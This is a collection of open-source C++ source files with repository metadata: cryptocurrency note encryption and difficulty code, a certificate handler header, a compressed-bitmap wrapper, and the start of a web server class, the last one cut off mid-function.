{"text": "// Copyright (c) 2016-2019 The Zcash developers\n// Copyright (c) 2017-2020 The LitecoinZ Core developers\n// Distributed under the MIT software license, see the accompanying\n// file COPYING or http://www.opensource.org/licenses/mit-license.php.\n\n#include <zcash/Note.hpp>\n#include <zcash/prf.h>\n#include <crypto/sha256.h>\n\n#include <random.h>\n#include <version.h>\n#include <streams.h>\n\n#include <zcash/util.h>\n#include <librustzcash.h>\n\n#include <boost/thread/condition_variable.hpp> // for boost::thread_interrupted\n\nusing namespace libzcash;\n\nSproutNote::SproutNote() {\n    a_pk = random_uint256();\n    rho = random_uint256();\n    r = random_uint256();\n}\n\nuint256 SproutNote::cm() const {\n    unsigned char discriminant = 0xb0;\n\n    CSHA256 hasher;\n    hasher.Write(&discriminant, 1);\n    hasher.Write(a_pk.begin(), 32);\n\n    auto value_vec = convertIntToVectorLE(value_);\n\n    hasher.Write(&value_vec[0], value_vec.size());\n    hasher.Write(rho.begin(), 32);\n    hasher.Write(r.begin(), 32);\n\n    uint256 result;\n    hasher.Finalize(result.begin());\n\n    return result;\n}\n\nuint256 SproutNote::nullifier(const SproutSpendingKey& a_sk) const {\n    return PRF_nf(a_sk, rho);\n}\n\n// Construct and populate Sapling note for a given payment address and value.\nSaplingNote::SaplingNote(const SaplingPaymentAddress& address, const uint64_t value) : BaseNote(value) {\n    d = address.d;\n    pk_d = address.pk_d;\n    librustzcash_sapling_generate_r(r.begin());\n}\n\n// Call librustzcash to compute the commitment\nboost::optional<uint256> SaplingNote::cm() const {\n    uint256 result;\n    if (!librustzcash_sapling_compute_cm(\n            d.data(),\n            pk_d.begin(),\n            value(),\n            r.begin(),\n            result.begin()\n        ))\n    {\n        return boost::none;\n    }\n\n    return result;\n}\n\n// Call librustzcash to compute the nullifier\nboost::optional<uint256> SaplingNote::nullifier(const SaplingFullViewingKey& vk, const uint64_t position) const\n{\n    auto ak = vk.ak;\n    auto nk = vk.nk;\n\n    uint256 result;\n    if (!librustzcash_sapling_compute_nf(\n            d.data(),\n            pk_d.begin(),\n            value(),\n            r.begin(),\n            ak.begin(),\n            nk.begin(),\n            position,\n            result.begin()\n    ))\n    {\n        return boost::none;\n    }\n\n    return result;\n}\n\nSproutNotePlaintext::SproutNotePlaintext(\n    const SproutNote& note,\n    std::array<unsigned char, ZC_MEMO_SIZE> memo) : BaseNotePlaintext(note, memo)\n{\n    rho = note.rho;\n    r = note.r;\n}\n\nSproutNote SproutNotePlaintext::note(const SproutPaymentAddress& addr) const\n{\n    return SproutNote(addr.a_pk, value_, rho, r);\n}\n\nSproutNotePlaintext SproutNotePlaintext::decrypt(const ZCNoteDecryption& decryptor,\n                                     const ZCNoteDecryption::Ciphertext& ciphertext,\n                                     const uint256& ephemeralKey,\n                                     const uint256& h_sig,\n                                     unsigned char nonce\n                                    )\n{\n    auto plaintext = decryptor.decrypt(ciphertext, ephemeralKey, h_sig, nonce);\n\n    CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n    ss << plaintext;\n\n    SproutNotePlaintext ret;\n    ss >> ret;\n\n    assert(ss.size() == 0);\n\n    return ret;\n}\n\nZCNoteEncryption::Ciphertext SproutNotePlaintext::encrypt(ZCNoteEncryption& encryptor,\n                                                    const uint256& pk_enc\n                                                   ) const\n{\n    CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n    ss << (*this);\n\n    ZCNoteEncryption::Plaintext pt;\n\n    assert(pt.size() == ss.size());\n\n    memcpy(&pt[0], &ss[0], pt.size());\n\n    return encryptor.encrypt(pk_enc, pt);\n}\n\n\n\n// Construct and populate SaplingNotePlaintext for a given note and memo.\nSaplingNotePlaintext::SaplingNotePlaintext(\n    const SaplingNote& note,\n    std::array<unsigned char, ZC_MEMO_SIZE> memo) : BaseNotePlaintext(note, memo)\n{\n    d = note.d;\n    rcm = note.r;\n}\n\n\nboost::optional<SaplingNote> SaplingNotePlaintext::note(const SaplingIncomingViewingKey& ivk) const\n{\n    auto addr = ivk.address(d);\n    if (addr) {\n        return SaplingNote(d, addr.get().pk_d, value_, rcm);\n    } else {\n        return boost::none;\n    }\n}\n\nboost::optional<SaplingOutgoingPlaintext> SaplingOutgoingPlaintext::decrypt(\n    const SaplingOutCiphertext &ciphertext,\n    const uint256& ovk,\n    const uint256& cv,\n    const uint256& cm,\n    const uint256& epk\n)\n{\n    auto pt = AttemptSaplingOutDecryption(ciphertext, ovk, cv, cm, epk);\n    if (!pt) {\n        return boost::none;\n    }\n\n    // Deserialize from the plaintext\n    try {\n        CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n        ss << pt.get();\n\n        SaplingOutgoingPlaintext ret;\n        ss >> ret;\n\n        assert(ss.size() == 0);\n\n        return ret;\n    } catch (const boost::thread_interrupted&) {\n        throw;\n    } catch (...) {\n        return boost::none;\n    }\n}\n\nboost::optional<SaplingNotePlaintext> SaplingNotePlaintext::decrypt(\n    const SaplingEncCiphertext &ciphertext,\n    const uint256 &ivk,\n    const uint256 &epk,\n    const uint256 &cmu\n)\n{\n    auto pt = AttemptSaplingEncDecryption(ciphertext, ivk, epk);\n    if (!pt) {\n        return boost::none;\n    }\n\n    // Deserialize from the plaintext\n    SaplingNotePlaintext ret;\n    try {\n        CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n        ss << pt.get();\n        ss >> ret;\n        assert(ss.size() == 0);\n    } catch (const boost::thread_interrupted&) {\n        throw;\n    } catch (...) {\n        return boost::none;\n    }\n\n    uint256 pk_d;\n    if (!librustzcash_ivk_to_pkd(ivk.begin(), ret.d.data(), pk_d.begin())) {\n        return boost::none;\n    }\n\n    uint256 cmu_expected;\n    if (!librustzcash_sapling_compute_cm(\n        ret.d.data(),\n        pk_d.begin(),\n        ret.value(),\n        ret.rcm.begin(),\n        cmu_expected.begin()\n    ))\n    {\n        return boost::none;\n    }\n\n    if (cmu_expected != cmu) {\n        return boost::none;\n    }\n\n    return ret;\n}\n\nboost::optional<SaplingNotePlaintext> SaplingNotePlaintext::decrypt(\n    const SaplingEncCiphertext &ciphertext,\n    const uint256 &epk,\n    const uint256 &esk,\n    const uint256 &pk_d,\n    const uint256 &cmu\n)\n{\n    auto pt = AttemptSaplingEncDecryption(ciphertext, epk, esk, pk_d);\n    if (!pt) {\n        return boost::none;\n    }\n\n    // Deserialize from the plaintext\n    SaplingNotePlaintext ret;\n    try {\n        CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n        ss << pt.get();\n        ss >> ret;\n        assert(ss.size() == 0);\n    } catch (const boost::thread_interrupted&) {\n        throw;\n    } catch (...) {\n        return boost::none;\n    }\n\n    uint256 cmu_expected;\n    if (!librustzcash_sapling_compute_cm(\n        ret.d.data(),\n        pk_d.begin(),\n        ret.value(),\n        ret.rcm.begin(),\n        cmu_expected.begin()\n    ))\n    {\n        return boost::none;\n    }\n\n    if (cmu_expected != cmu) {\n        return boost::none;\n    }\n\n    return ret;\n}\n\nboost::optional<SaplingNotePlaintextEncryptionResult> SaplingNotePlaintext::encrypt(const uint256& pk_d) const\n{\n    // Get the encryptor\n    auto sne = SaplingNoteEncryption::FromDiversifier(d);\n    if (!sne) {\n        return boost::none;\n    }\n    auto enc = sne.get();\n\n    // Create the plaintext\n    CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n    ss << (*this);\n    SaplingEncPlaintext pt;\n    assert(pt.size() == ss.size());\n    memcpy(&pt[0], &ss[0], pt.size());\n\n    // Encrypt the plaintext\n    auto encciphertext = enc.encrypt_to_recipient(pk_d, pt);\n    if (!encciphertext) {\n        return boost::none;\n    }\n    return SaplingNotePlaintextEncryptionResult(encciphertext.get(), enc);\n}\n\n\nSaplingOutCiphertext SaplingOutgoingPlaintext::encrypt(\n        const uint256& ovk,\n        const uint256& cv,\n        const uint256& cm,\n        SaplingNoteEncryption& enc\n    ) const\n{\n    // Create the plaintext\n    CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n    ss << (*this);\n    SaplingOutPlaintext pt;\n    assert(pt.size() == ss.size());\n    memcpy(&pt[0], &ss[0], pt.size());\n\n    return enc.encrypt_to_ourselves(ovk, cv, cm, pt);\n}\n", "meta": {"hexsha": "8818e1d607953ea145fe31a397cbf1d2db7ea02c", "size": 8190, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/zcash/Note.cpp", "max_stars_repo_name": "kaboela/litecoinz", "max_stars_repo_head_hexsha": "b793b04a717416726a7b1013b21b07fb35dbc4a2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/zcash/Note.cpp", "max_issues_repo_name": "kaboela/litecoinz", "max_issues_repo_head_hexsha": "b793b04a717416726a7b1013b21b07fb35dbc4a2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/zcash/Note.cpp", "max_forks_repo_name": "kaboela/litecoinz", "max_forks_repo_head_hexsha": "b793b04a717416726a7b1013b21b07fb35dbc4a2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.447761194, "max_line_length": 111, "alphanum_fraction": 0.6148962149, "num_tokens": 2123, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5544704796847395, "lm_q2_score": 0.2568319856991699, "lm_q1q2_score": 0.14240575430900287}}
{"text": "#include <openssl/bio.h>\n#include <openssl/dh.h>\n#include <openssl/dsa.h>\n#include <openssl/err.h>\n#include <openssl/evp.h>\n#include <openssl/pem.h>\n#include <openssl/rand.h>\n#include <openssl/rsa.h>\n#include <openssl/ssl.h>\n\n#include <boost/asio/ssl/context.hpp>\n#include <random>\n#include <iostream>\n#include <stdio.h>\n\nnamespace certificate\n{\n    static constexpr const char *tmpCertPath = \"/tmp/hostname_cert.tmp\";\n    class CertHandler\n    {\n        public:\n            CertHandler() = default;\n            ~CertHandler() = default;\n            CertHandler(const CertHandler &) = delete;\n            CertHandler &operator=(const CertHandler &) = delete;\n            CertHandler(CertHandler &&) = delete;\n            CertHandler &operator=(CertHandler &&) = delete;\n\n            void generateSslCertificate(const std::string &hostname);\n        private:\n            void initOpenssl();\n            EVP_PKEY* createEcKey();\n            int add_ext(X509 *cert, int nid, char *value);\n    };\n}", "meta": {"hexsha": "766db77be76d4e9f53c90e5271aad7498d383205", "size": 994, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "src/certificate_handler.hpp", "max_stars_repo_name": "quanta-bmc/phosphor-monitor-hostname", "max_stars_repo_head_hexsha": "1172ec20f8dd41d18519c2cb3ae59bbde5acd634", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/certificate_handler.hpp", "max_issues_repo_name": "quanta-bmc/phosphor-monitor-hostname", "max_issues_repo_head_hexsha": "1172ec20f8dd41d18519c2cb3ae59bbde5acd634", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/certificate_handler.hpp", "max_forks_repo_name": "quanta-bmc/phosphor-monitor-hostname", "max_forks_repo_head_hexsha": "1172ec20f8dd41d18519c2cb3ae59bbde5acd634", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.4, "max_line_length": 72, "alphanum_fraction": 0.6277665996, "num_tokens": 229, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5350984286266116, "lm_q2_score": 0.2658804672827598, "lm_q1q2_score": 0.142272220245514}}
{"text": "#pragma once\n//===----------------------------------------------------------------------===//\n#include \"teb_builder.hpp\"\n#include \"teb_flat.hpp\"\n#include \"teb_iter.hpp\"\n#include \"teb_scan_iter.hpp\"\n#include \"teb_types.hpp\"\n\n#include <dtl/dtl.hpp>\n\n#include <boost/dynamic_bitset.hpp>\n\n#include <memory>\n#include <string>\n#include <vector>\n//===----------------------------------------------------------------------===//\nnamespace dtl {\n//===----------------------------------------------------------------------===//\nclass teb_wrapper {\npublic: // TODO remove\n  /// The serialized TEB.\n  std::vector<teb_word_type> data_; // TODO use dtl::buffer\n  /// The TEB logic.\n  std::unique_ptr<teb_flat> teb_;\n\npublic:\n  /// C'tor\n  explicit teb_wrapper(const boost::dynamic_bitset<$u32>& bitmap)\n      : data_(0), teb_(nullptr) {\n    dtl::teb_builder builder(bitmap);\n    const auto word_cnt = builder.serialized_size_in_words();\n    data_.resize(word_cnt);\n    builder.serialize(data_.data());\n    teb_ = std::make_unique<teb_flat>(data_.data());\n  }\n\n  /// C'tor\n  explicit teb_wrapper(const bitmap_tree<>&& bitmap_tree, f64 fpr = 0.0)\n      : data_(0), teb_(nullptr) {\n    dtl::teb_builder builder(std::move(bitmap_tree));\n    const auto word_cnt = builder.serialized_size_in_words();\n    data_.resize(word_cnt);\n    builder.serialize(data_.data());\n    teb_ = std::make_unique<teb_flat>(data_.data());\n  }\n\n  teb_wrapper(const teb_wrapper& other) = delete;\n  teb_wrapper(teb_wrapper&& other) noexcept = default;\n  teb_wrapper& operator=(const teb_wrapper& other) = delete;\n  teb_wrapper& operator=(teb_wrapper&& other) noexcept = default;\n\n  /// Return the name of the implementation.\n  static std::string\n  name() noexcept {\n    return \"teb_wrapper\";\n  }\n\n  /// Returns a 1-fill iterator, with efficient skip support.\n  teb_iter __teb_inline__\n  it() const noexcept {\n    return std::move(teb_iter(*teb_));\n  }\n\n  /// Returns a 1-fill iterator, with WITHOUT efficient skip support.\n  teb_scan_iter __teb_inline__\n  scan_it() const noexcept {\n    return std::move(teb_scan_iter(*teb_));\n  }\n\n  using skip_iter_type = teb_iter;\n  using scan_iter_type = teb_scan_iter;\n\n  /// Returns the length of the original bitmap.\n  std::size_t __teb_inline__\n  size() const noexcept {\n    return teb_->size();\n  }\n\n  /// Returns the value of the bit at the given position.\n  u1 __teb_inline__\n  test(const std::size_t pos) const noexcept {\n    return teb_->test(pos);\n  }\n\n  /// Return the size in bytes.\n  std::size_t __teb_inline__\n  size_in_bytes() const noexcept {\n    return teb_->size_in_bytes();\n  }\n\n  /// Returns the name of the instance including the most important parameters\n  /// in JSON.\n  std::string\n  info() const noexcept {\n    auto determine_compressed_tree_depth = [&]() {\n      auto i = it();\n      $u64 height = 0;\n      while (!i.end()) {\n        const auto h = dtl::teb_util::determine_level_of(i.path());\n        height = std::max(height, h);\n        i.next();\n      }\n      return height;\n    };\n    return \"{\\\"name\\\":\\\"\" + name() + \"\\\"\"\n        + \",\\\"n\\\":\" + std::to_string(teb_->n_)\n        + \",\\\"size\\\":\" + std::to_string(size_in_bytes())\n        + \",\\\"tree_bits\\\":\" + std::to_string(teb_->tree_bit_cnt_)\n        + \",\\\"label_bits\\\":\" + std::to_string(teb_->label_bit_cnt_)\n        + \",\\\"implicit_inner_nodes\\\":\"\n        + std::to_string(teb_->implicit_inner_node_cnt_)\n        + \",\\\"logical_tree_depth\\\":\"\n        + std::to_string(dtl::teb_util::determine_tree_height(teb_->n_))\n        + \",\\\"encoded_tree_depth\\\":\"\n        + std::to_string(determine_compressed_tree_depth())\n        + \",\\\"perfect_levels\\\":\"\n        + std::to_string(dtl::teb_util::determine_perfect_tree_levels(\n            teb_->implicit_inner_node_cnt_))\n        + \",\\\"opt_level\\\":\" + std::to_string(3) // default\n        + \",\\\"rank\\\":\" + teb_->rank_.info(teb_->tree_bit_cnt_)\n        + \",\\\"leading_zero_labels\\\":\" + std::to_string(\n            teb_->implicit_leading_label_cnt_)\n        + \"}\";\n  }\n\n  /// For debugging purposes.\n  void\n  print(std::ostream& os) const noexcept {\n    teb_->print(os);\n  }\n};\n//===----------------------------------------------------------------------===//\n} // namespace dtl", "meta": {"hexsha": "46e45fd3bbc44e88978d6dc1289e4f33af236adb", "size": 4189, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "src/dtl/bitmap/teb_wrapper.hpp", "max_stars_repo_name": "harald-lang/tree-encoded-bitmaps", "max_stars_repo_head_hexsha": "a4ab056f2cefa7843b27c736833b08977b56649c", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 29.0, "max_stars_repo_stars_event_min_datetime": "2020-06-18T12:51:42.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-22T07:38:24.000Z", "max_issues_repo_path": "src/dtl/bitmap/teb_wrapper.hpp", "max_issues_repo_name": "harald-lang/tree-encoded-bitmaps", "max_issues_repo_head_hexsha": "a4ab056f2cefa7843b27c736833b08977b56649c", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/dtl/bitmap/teb_wrapper.hpp", "max_forks_repo_name": "harald-lang/tree-encoded-bitmaps", "max_forks_repo_head_hexsha": "a4ab056f2cefa7843b27c736833b08977b56649c", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2.0, "max_forks_repo_forks_event_min_datetime": "2021-04-07T13:43:34.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-09T04:49:39.000Z", "avg_line_length": 31.4962406015, "max_line_length": 80, "alphanum_fraction": 0.5972785868, "num_tokens": 1069, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230156, "lm_q2_score": 0.27512972976675254, "lm_q1q2_score": 0.141862368075229}}
{"text": "// Copyright (c) 2015 The Tesseract Core developers\n// Distributed under the MIT software license, see the accompanying\n// file COPYING or http://www.opensource.org/licenses/mit-license.php.\n\n#include <boost/random/uniform_int.hpp>\n#include <boost/random/mersenne_twister.hpp>\n\n#include \"arith_uint256.h\"\n#include \"tesseract.h\"\n#include \"main.h\"\n#include \"util.h\"\n\nint static generateMTRandom(unsigned int s, int range)\n{\n    boost::mt19937 gen(s);\n    boost::uniform_int<> dist(1, range);\n    return dist(gen);\n}\n\n// Tesseract: Normally minimum difficulty blocks can only occur in between\n// retarget blocks. However, once we introduce Digishield every block is\n// a retarget, so we need to handle minimum difficulty on all blocks.\nbool AllowDigishieldMinDifficultyForBlock(const CBlockIndex* pindexLast, const CBlockHeader *pblock, const Consensus::Params& params)\n{\n    // check if the chain allows minimum difficulty blocks\n    if (!params.fPowAllowMinDifficultyBlocks)\n        return false;\n\n    // check if the chain allows minimum difficulty blocks on recalc blocks\n    if (pindexLast->nHeight < 157500)\n    // if (!params.fPowAllowDigishieldMinDifficultyBlocks)\n        return false;\n\n    // Allow for a minimum block time if the elapsed time > 2*nTargetSpacing\n    return (pblock->GetBlockTime() > pindexLast->GetBlockTime() + params.nPowTargetSpacing*2);\n}\n\nunsigned int CalculateTesseractNextWorkRequired(const CBlockIndex* pindexLast, int64_t nFirstBlockTime, const Consensus::Params& params)\n{\n    int nHeight = pindexLast->nHeight + 1;\n    const int64_t retargetTimespan = params.nPowTargetTimespan;\n    const int64_t nActualTimespan = pindexLast->GetBlockTime() - nFirstBlockTime;\n    int64_t nModulatedTimespan = nActualTimespan;\n    int64_t nMaxTimespan;\n    int64_t nMinTimespan;\n\n    if (params.fDigishieldDifficultyCalculation) //DigiShield implementation - thanks to RealSolid & WDC for this code\n    {\n        // amplitude filter - thanks to daft27 for this code\n        nModulatedTimespan = retargetTimespan + (nModulatedTimespan - retargetTimespan) / 8;\n\n        nMinTimespan = retargetTimespan - (retargetTimespan / 4);\n        nMaxTimespan = retargetTimespan + (retargetTimespan / 2);\n    } else if (nHeight > 10000) {\n        nMinTimespan = retargetTimespan / 4;\n        nMaxTimespan = retargetTimespan * 4;\n    } else if (nHeight > 5000) {\n        nMinTimespan = retargetTimespan / 8;\n        nMaxTimespan = retargetTimespan * 4;\n    } else {\n        nMinTimespan = retargetTimespan / 16;\n        nMaxTimespan = retargetTimespan * 4;\n    }\n\n    // Limit adjustment step\n    if (nModulatedTimespan < nMinTimespan)\n        nModulatedTimespan = nMinTimespan;\n    else if (nModulatedTimespan > nMaxTimespan)\n        nModulatedTimespan = nMaxTimespan;\n\n    // Retarget\n    const arith_uint256 bnPowLimit = UintToArith256(params.powLimit);\n    arith_uint256 bnNew;\n    arith_uint256 bnOld;\n    bnNew.SetCompact(pindexLast->nBits);\n    bnOld = bnNew;\n    bnNew *= nModulatedTimespan;\n    bnNew /= retargetTimespan;\n\n    if (bnNew > bnPowLimit)\n        bnNew = bnPowLimit;\n\n    return bnNew.GetCompact();\n}\n\nbool CheckAuxPowProofOfWork(const CBlockHeader& block, const Consensus::Params& params)\n{\n    /* Except for legacy blocks with full version 1, ensure that\n       the chain ID is correct.  Legacy blocks are not allowed since\n       the merge-mining start, which is checked in AcceptBlockHeader\n       where the height is known.  */\n    if (!block.nVersion.IsLegacy() && params.fStrictChainId && block.nVersion.GetChainId() != params.nAuxpowChainId)\n        return error(\"%s : block does not have our chain ID\"\n                     \" (got %d, expected %d, full nVersion %d)\",\n                     __func__,\n                     block.nVersion.GetChainId(),\n                     params.nAuxpowChainId,\n                     block.nVersion.GetFullVersion());\n\n    /* If there is no auxpow, just check the block hash.  */\n    if (!block.auxpow) {\n        if (block.nVersion.IsAuxpow())\n            return error(\"%s : no auxpow on block with auxpow version\",\n                         __func__);\n\n        if (!CheckProofOfWork(block.GetPoWHash(), block.nBits, params))\n            return error(\"%s : non-AUX proof of work failed\", __func__);\n\n        return true;\n    }\n\n    /* We have auxpow.  Check it.  */\n\n    if (!block.nVersion.IsAuxpow())\n        return error(\"%s : auxpow on block with non-auxpow version\", __func__);\n\n    if (!block.auxpow->check(block.GetHash(), block.nVersion.GetChainId(), params))\n        return error(\"%s : AUX POW is not valid\", __func__);\n    if (!CheckProofOfWork(block.auxpow->getParentBlockPoWHash(), block.nBits, params))\n        return error(\"%s : AUX proof of work failed\", __func__);\n\n    return true;\n}\n\nCAmount GetTesseractBlockSubsidy(int nHeight, const Consensus::Params& consensusParams, uint256 prevHash)\n{\n    int halvings = nHeight / consensusParams.nSubsidyHalvingInterval;\n\n    if (!consensusParams.fSimplifiedRewards)\n    {\n        // Old-style rewards derived from the previous block hash\n        const std::string cseed_str = prevHash.ToString().substr(7, 7);\n        const char* cseed = cseed_str.c_str();\n        char* endp = NULL;\n        long seed = strtol(cseed, &endp, 16);\n        CAmount maxReward = (1000000 >> halvings) - 1;\n        int rand = generateMTRandom(seed, maxReward);\n\n        return (1 + rand) * COIN;\n    } else if (nHeight < (6 * consensusParams.nSubsidyHalvingInterval)) {\n        // New-style constant rewards for each halving interval\n        return (500000 * COIN) >> halvings;\n    } else {\n        // Constant inflation\n        return 10000 * COIN;\n    }\n}\n\n\nint64_t GetTesseractDustFee(const std::vector<CTxOut> &vout, CFeeRate &baseFeeRate) {\n    int64_t nFee = 0;\n\n    // To limit dust spam, add base fee for each dust output\n    BOOST_FOREACH(const CTxOut& txout, vout)\n        // if (txout.IsDust(::minRelayTxFee))\n        if (txout.nValue < COIN)\n            nFee += baseFeeRate.GetFeePerK();\n\n    return nFee;\n}\n", "meta": {"hexsha": "4f509c4efd87fc9cd2af9b6183f3011f34900836", "size": 6021, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/dogecoin.cpp", "max_stars_repo_name": "tesseractcryptocurrency/Tesseract", "max_stars_repo_head_hexsha": "999d28133da3c42b3f554dcc988e54a6928137e3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/dogecoin.cpp", "max_issues_repo_name": "tesseractcryptocurrency/Tesseract", "max_issues_repo_head_hexsha": "999d28133da3c42b3f554dcc988e54a6928137e3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/dogecoin.cpp", "max_forks_repo_name": "tesseractcryptocurrency/Tesseract", "max_forks_repo_head_hexsha": "999d28133da3c42b3f554dcc988e54a6928137e3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.397515528, "max_line_length": 136, "alphanum_fraction": 0.6769639595, "num_tokens": 1586, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230157, "lm_q2_score": 0.275129717879598, "lm_q1q2_score": 0.1418623619459754}}
{"text": "\ufeff// This is an independent project of an individual developer. Dear PVS-Studio, please check it.\n// PVS-Studio Static Code Analyzer for C, C++, C#, and Java: http://www.viva64.com\n\n#include \"app/server2hb.h\"\n#include \"net/geoip.h\"\n\n#include <openssl/md5.h>\n#include <boost/algorithm/hex.hpp>\n#include <boost/program_options.hpp>\n#include <boost/uuid/uuid.hpp>\n#include <boost/uuid/uuid_generators.hpp>\n#include <boost/uuid/uuid_io.hpp>\n#include <boost/lexical_cast.hpp>\n\nnamespace po = boost::program_options;\n#include <boost/filesystem.hpp>\nnamespace fs = boost::filesystem;\n\nusing namespace khorost;\n\nvoid RecalcPasswordHash(std::string& sPwHash_, const std::string& sLogin_, const std::string& sPassword_, const std::string& sSalt_) {\n    std::vector<unsigned char> md(MD5_DIGEST_LENGTH);\n    MD5_CTX ctx;\n\n    MD5_Init(&ctx);\n    MD5_Update(&ctx, sLogin_.c_str(), sLogin_.size());\n    MD5_Update(&ctx, sPassword_.c_str(), sPassword_.size());\n    MD5_Update(&ctx, sSalt_.c_str(), sSalt_.size());\n    MD5_Final(md.data(), &ctx);\n\n    sPwHash_.erase();\n    boost::algorithm::hex(md.begin(), md.end(), back_inserter(sPwHash_));\n}\n\nbool IsPasswordHashEqual2(const std::string& sChecked_, const std::string& sFirst_, const std::string& sSecond_) {\n    std::vector<unsigned char> md(MD5_DIGEST_LENGTH);\n    MD5_CTX ctx;\n\n    MD5_Init(&ctx);\n    MD5_Update(&ctx, sFirst_.c_str(), sFirst_.size());\n    MD5_Update(&ctx, sSecond_.c_str(), sSecond_.size());\n    MD5_Final(md.data(), &ctx);\n\n    std::string sPwhashSession;\n    boost::algorithm::hex(md.begin(), md.end(), back_inserter(sPwhashSession));\n\n    return sChecked_ == sPwhashSession;\n}\n\nbool IsPasswordHashEqual3(const std::string& sChecked_, const std::string& sFirst_, const std::string& sSecond_,\n                          const std::string& sThird_) {\n    std::vector<unsigned char> md(MD5_DIGEST_LENGTH);\n    MD5_CTX ctx;\n\n    MD5_Init(&ctx);\n    MD5_Update(&ctx, sFirst_.c_str(), sFirst_.size());\n    MD5_Update(&ctx, sSecond_.c_str(), sSecond_.size());\n    MD5_Update(&ctx, sThird_.c_str(), sThird_.size());\n    MD5_Final(md.data(), &ctx);\n\n    std::string sPwhashSession;\n    boost::algorithm::hex(md.begin(), md.end(), back_inserter(sPwhashSession));\n\n    return sChecked_ == sPwhashSession;\n}\n\nserver2_hb::server2_hb() :\n    server2_h()\n    , m_db_base(m_db_connect_)\n    , m_dispatcher(this)\n    , m_shutdown_timer_(false) {\n}\n\nbool server2_hb::shutdown() {\n    m_shutdown_timer_ = true;\n    return server2_h::shutdown();\n}\n\nbool server2_hb::prepare_to_start() {\n    server2_h::prepare_to_start();\n\n    auto logger = get_logger();\n\n    set_session_driver(m_configure_.get_value(\"http:session\", \"./session.db\"));\n\n    m_dictActionS2H.insert(std::pair<std::string, funcActionS2H>(S2H_PARAM_ACTION_AUTH, &server2_hb::action_auth));\n    m_dictActionS2H.insert(std::pair<std::string, funcActionS2H>(\"refresh_token\", &server2_hb::action_refresh_token));\n\n    set_connect(\n        m_configure_.get_value(\"storage:host\", \"localhost\")\n        , m_configure_.get_value(\"storage:port\", 5432)\n        , m_configure_.get_value(\"storage:db\", \"\")\n        , m_configure_.get_value(\"storage:user\", \"\")\n        , m_configure_.get_value(\"storage:password\", \"\")\n        , m_configure_.get_value(\"storage:pool\", 7)\n    );\n\n    logger->debug(\"[GEOIP] MMDB version: {}\", khorost::network::geo_ip_database::get_lib_version_db());\n\n    khorost::network::geo_ip_database db;\n\n    const auto geoip_city_path = m_configure_.get_value(\"geoip:city\", \"\");\n    if (db.open_database(geoip_city_path)) {\n        //        logger->debug(\"[GEOIP] meta city info \\\"{}\\\"\", db.get_metadata());\n        m_geoip_city_path_ = geoip_city_path;\n    } else {\n        logger->warn(\"[GEOIP] Error init MMDB City by path {}\", geoip_city_path);\n    }\n    db.close_database();\n\n    const auto geoip_asn_path = m_configure_.get_value(\"geoip:asn\", \"\");\n    if (db.open_database(geoip_asn_path)) {\n        //        logger->debug(\"[GEOIP] meta asn info \\\"{}\\\"\", db.get_metadata());\n        m_geoip_asn_path_ = geoip_asn_path;\n    } else {\n        logger->warn(\"[GEOIP] Error init MMDB ASN by path {}\", geoip_asn_path);\n    }\n\n    return true;\n}\n\nbool server2_hb::auto_execute() {\n    server2_h::auto_execute();\n\n    auto cfg_create_user = m_configure_[\"autoexec\"][\"Create\"][\"User\"];\n    if (!cfg_create_user.isNull()) {\n        for (auto cfg_user : cfg_create_user) {\n            if (!m_db_base.IsUserExist(cfg_user[\"Login\"].asString())) {\n                m_db_base.CreateUser(cfg_user);\n            }\n        }\n    }\n\n    return true;\n}\n\nbool server2_hb::startup() {\n    m_TimerThread.reset(new std::thread(boost::bind(&stub_timer_run, this)));\n    return server2_h::startup();\n}\n\nbool server2_hb::run() {\n    m_TimerThread->join();\n    return 